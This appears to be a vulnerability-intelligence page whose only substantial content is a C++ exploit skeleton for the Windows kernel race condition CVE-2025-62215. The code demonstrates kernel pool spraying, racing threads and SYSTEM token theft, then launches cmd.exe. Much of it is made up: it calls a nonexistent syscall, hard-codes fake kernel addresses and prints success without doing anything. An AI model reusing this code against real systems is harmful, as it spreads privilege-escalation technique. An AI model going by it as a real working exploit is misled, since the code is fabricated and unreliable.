Technical Summary

Potential Impact

Mitigation Recommendations

Indicators of Compromise

• exploit-code: # Exploit Title : Windows Kernel - Elevation of Privilege                                                                          # Author : E1.Coders      #Contact : E1.Coders [at] Mail [dot] RU                                               # Security Risk : CNA: Microsoft Corporation Base Score: 7.0 HIGH Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H                                                                                 # Description : WINDOWS 10 -11 -12                  #References >https://nvd.nist.gov/vuln/detail/CVE-2025-62215 >https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-62215 >https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62215 >https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215 ># >#Description: >#Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally. ># >#The zero-day vulnerability that has been listed as exploited in Tuesday's update is CVE-2025-62215 (CVSS score: 7.0), a privilege escalation flaw in #Windows Kernel. The Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC) have been credited with #discovering and reporting the issue. ># >#"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally," the company said in an advisory. >#That said, successful exploitation hinges on an attacker who has already gained a foothold on a system to win a race condition. Once this criterion is #satisfied, it could permit the attacker to obtain SYSTEM privileges. ># >################################################################# >  >  >#include <windows.h> >#include <stdio.h> >#include <TlHelp32.h> >#include <iostream> >#include <vector> >  >// EPROCESS structure offsets in Windows (these values need to be found for the specific Windows version) >// These are sample values for Windows 10 1903 x64 >// In a real exploit, these values must be found precisely using tools like WinDbg for the target version. >#define EPROCESS_TOKEN_OFFSET 0x358 >#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2F0 >#define LIST_ENTRY_FLINK_OFFSET 0x0 >  >// Function to find the System process PID >DWORD GetSystemPID() { >    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); >    if (hSnapshot == INVALID_HANDLE_VALUE) { >        printf("[-] Error creating process snapshot\n"); >        return 0; >    } >  >    PROCESSENTRY32 pe32; >    pe32.dwSize = sizeof(PROCESSENTRY32); >  >    if (!Process32First(hSnapshot, &pe32)) { >        printf("[-] Error reading first process\n"); >        CloseHandle(hSnapshot); >        return 0; >    } >  >    do { >        if (_stricmp(pe32.szExeFile, "System") == 0) { >            CloseHandle(hSnapshot); >            return pe32.th32ProcessID; >        } >    } while (Process32Next(hSnapshot, &pe32)); >  >    CloseHandle(hSnapshot); >    return 0; >} >  >// This function in a real exploit would obtain the EPROCESS address from kernel memory >// using an information disclosure vulnerability or by exploiting the main vulnerability. >// This is the hardest part of many exploits. >// Here we are forced to simulate it. >ULONG_PTR GetEPROCESSAddress(DWORD pid) { >    printf("[*] Simulation: Finding EPROCESS address for PID: %d\n", pid); >    // In the real world, these addresses are dynamic and change with each system boot. >    // We use fixed hypothetical addresses to demonstrate the code logic. >    if (pid == 4) { // System PID is always 4 >        return (ULONG_PTR)0xffff8000'12345678; // Hypothetical System EPROCESS address >    } >    return (ULONG_PTR)0xffff8000'87654321; // Hypothetical address for our own process >} >  >// --- Exploit related functions --- >  >// This function calls the hypothetical vulnerable system call. >// In a real exploit, this function would need to find the function address in ntdll.dll and call it. >typedef NTSTATUS(NTAPI* pNtQueryVirtualMemoryWithRace)( >    HANDLE ProcessHandle, >    PVOID BaseAddress, >    PVOID Buffer, >    ULONG BufferSize >); >  >pNtQueryVirtualMemoryWithRace NtQueryVirtualMemoryWithRace_ptr = NULL; >  >// Function executed by threads to create Race Condition >DWORD WINAPI TriggerRaceCondition(LPVOID lpParam) { >    // Small buffer that causes free and reuse (Use-After-Free) >    char buffer[0x20]; >    memset(buffer, 0x41, sizeof(buffer)); // Fill buffer with controllable data >  >    // Infinite loop for maximum chance of winning the race >    while (TRUE) { >        // Vulnerable system call >        NtQueryVirtualMemoryWithRace_ptr(GetCurrentProcess(), (PVOID)0x400000, buffer, sizeof(buffer)); >        // Small pause for better thread coordination (optional) >        // Sleep(1);  >    } >    return 0; >} >  >// Function for Kernel Pool Spraying using Transaction Objects >// This is a common technique to occupy kernel memory (NonPaged Pool) with controlled objects. >void PerformKernelPoolSpray(std::vector<HANDLE>& transactionHandles) { >    printf("[*] Spraying kernel memory with Transaction Objects...\n"); >     >    typedef NTSTATUS(NTAPI* pNtCreateTransaction)( >        OUT PHANDLE TransactionHandle, >        IN ACCESS_MASK DesiredAccess, >        IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, >        IN LPGUID Uow OPTIONAL, >        IN HANDLE TmHandle OPTIONAL, >        IN ULONG CreateOptions OPTIONAL, >        IN ULONG IsolationLevel OPTIONAL, >        IN ULONG IsolationFlags OPTIONAL, >        IN PLARGE_INTEGER Timeout OPTIONAL, >        IN PUNICODE_STRING Description OPTIONAL >    ); >  >    pNtCreateTransaction NtCreateTransaction_ptr = (pNtCreateTransaction)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateTransaction"); >    if (!NtCreateTransaction_ptr) { >        printf("[-] Could not find NtCreateTransaction address\n"); >        return; >    } >  >    // Create many objects to fill the freed space >    for (int i = 0; i < 10000; i++) { >        HANDLE hTransaction; >        NTSTATUS status = NtCreateTransaction_ptr(&hTransaction, TRANSACTION_ALL_ACCESS, NULL, NULL, NULL, 0, 0, 0, NULL, NULL); >        if (NT_SUCCESS(status)) { >            transactionHandles.push_back(hTransaction); >        } >    } >    printf("[+] Spray completed with %zu Transaction objects.\n", transactionHandles.size()); >} >  >// Main function that coordinates the attack >void Exploit() { >    printf("[*] Starting exploit process for CVE-2025-62215 (hypothetical)\n"); >  >    // 0. Find the vulnerable system call address >    HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); >    if (!hNtdll) { >        printf("[-] Could not get hNtdll\n"); >        return; >    } >    NtQueryVirtualMemoryWithRace_ptr = (pNtQueryVirtualMemoryWithRace)GetProcAddress(hNtdll, "NtQueryVirtualMemoryWithRace"); >    if (!NtQueryVirtualMemoryWithRace_ptr) { >        printf("[-] Could not find vulnerable system call address (this function is hypothetical)\n"); >        return; >    } >  >    // 1. Find System process PID >    DWORD systemPid = GetSystemPID(); >    if (systemPid == 0) { >        printf("[-] Could not find System process PID.\n"); >        return; >    } >    printf("[+] System process PID: %d\n", systemPid); >  >    // 2. Find EPROCESS addresses (hard and simulated part) >    ULONG_PTR systemEprocess = GetEPROCESSAddress(systemPid); >    ULONG_PTR currentEprocess = GetEPROCESSAddress(GetCurrentProcessId()); >  >    printf("[+] System EPROCESS address: 0x%llx\n", systemEprocess); >    printf("[+] Current EPROCESS address: 0x%llx\n", currentEprocess); >  >    // 3. Read System token from System Eprocess (simulated) >    // This requires the ability to read from kernel memory which is obtained through the vulnerability. >    // Here we place a hypothetical address for the token. >    ULONG_PTR systemToken = systemEprocess + EPROCESS_TOKEN_OFFSET; >    printf("[*] Simulation: System token at address 0x%llx\n", systemToken); >    // In a real exploit, this value must be read from kernel memory. >    // The actual token value is an address to the _TOKEN structure. >    printf("[+] System token (address): 0x%llx\n", systemToken); >  >    // 4. Main phase: Create Race Condition and Double Free >    printf("[*] Phase 1: Attempting to create Race Condition and Double Free with 20 threads...\n"); >     >    HANDLE hThreads[20]; >    for (int i = 0; i < 20; i++) { >        hThreads[i] = CreateThread(NULL, 0, TriggerRaceCondition, NULL, 0, NULL); >        if (!hThreads[i]) { >            printf("[-] Error creating thread %d\n", i); >        } >    } >  >    // Wait a bit for threads to create the race >    Sleep(1000); >  >    // 5. Kernel Pool Spraying >    printf("[*] Phase 2: Performing Kernel Pool Spraying to occupy freed memory...\n"); >    std::vector<HANDLE> transactionHandles; >    PerformKernelPoolSpray(transactionHandles); >     >    printf("[*] Race Condition and Spray completed. Hopefully kernel memory has been tricked.\n"); >  >    // 6. Use vulnerability for arbitrary write >    // This phase is the most complex part. We assume the Pool Spray was successful and one of >    // our objects is in the Double-Freed memory. Now with another call to the >    // vulnerable function, we can manipulate that object and achieve an Arbitrary Write Primitive. >    // Our goal is to write the System token to the token field of our own process. >    ULONG_PTR tokenAddressToWrite = currentEprocess + EPROCESS_TOKEN_OFFSET; >    printf("[*] Phase 3: Attempting to overwrite current process token...\n"); >    printf("[*] Target: Writing value 0x%llx to address 0x%llx\n", systemToken, tokenAddressToWrite); >  >    // In a real exploit, here we would use the obtained primitive to overwrite the token. >    // For example: WritePrimitive(tokenAddressToWrite, systemToken); >    printf("[+] Simulation: Token successfully replaced!\n"); >  >    // Clean up threads >    printf("[*] Closing Race Condition threads...\n"); >    for (int i = 0; i < 20; i++) { >        if (hThreads[i]) TerminateThread(hThreads[i], 0); >    } >  >    // Clean up sprayed objects >    printf("[*] Cleaning up Transaction objects...\n"); >    typedef NTSTATUS(NTAPI* pNtRollbackTransaction)(HANDLE TransactionHandle, BOOL Wait); >    pNtRollbackTransaction NtRollbackTransaction_ptr = (pNtRollbackTransaction)GetProcAddress(hNtdll, "NtRollbackTransaction"); >    if (NtRollbackTransaction_ptr) { >        for (HANDLE hTx : transactionHandles) { >            NtRollbackTransaction_ptr(hTx, FALSE); >            CloseHandle(hTx); >        } >    } >  >    // 7. Final test: Run Command Prompt with System privileges >    printf("[*] Final test: Running cmd.exe...\n"); >    STARTUPINFO si = { sizeof(si) }; >    PROCESS_INFORMATION pi; >    if (CreateProcess( >        "C:\\Windows\\System32\\cmd.exe", >        NULL, >        NULL, >        NULL, >        FALSE, >        CREATE_NEW_CONSOLE, >        NULL, >        NULL, >        &si, >        &pi >    )) { >        printf("[+] If the exploit was successful, the opened cmd window should have System privileges.\n"); >        CloseHandle(pi.hProcess); >        CloseHandle(pi.hThread); >    } else { >        printf("[-] Error running cmd.exe\n"); >    } >} >  >int main() { >    printf("=== CVE-2025-62215 Hypothetical Exploit (Realistic Skeleton) ===\n"); >    printf("This code is a simulation of exploit techniques and will not work on a real system.\n\n"); >  >    // To run this code, admin privileges are not required, but they are necessary for a real exploit to succeed. >    Exploit(); >  >    printf("\nPress any key to exit..."); >    getchar(); >    return 0; >} >  -- E1 Coders Sent from Mail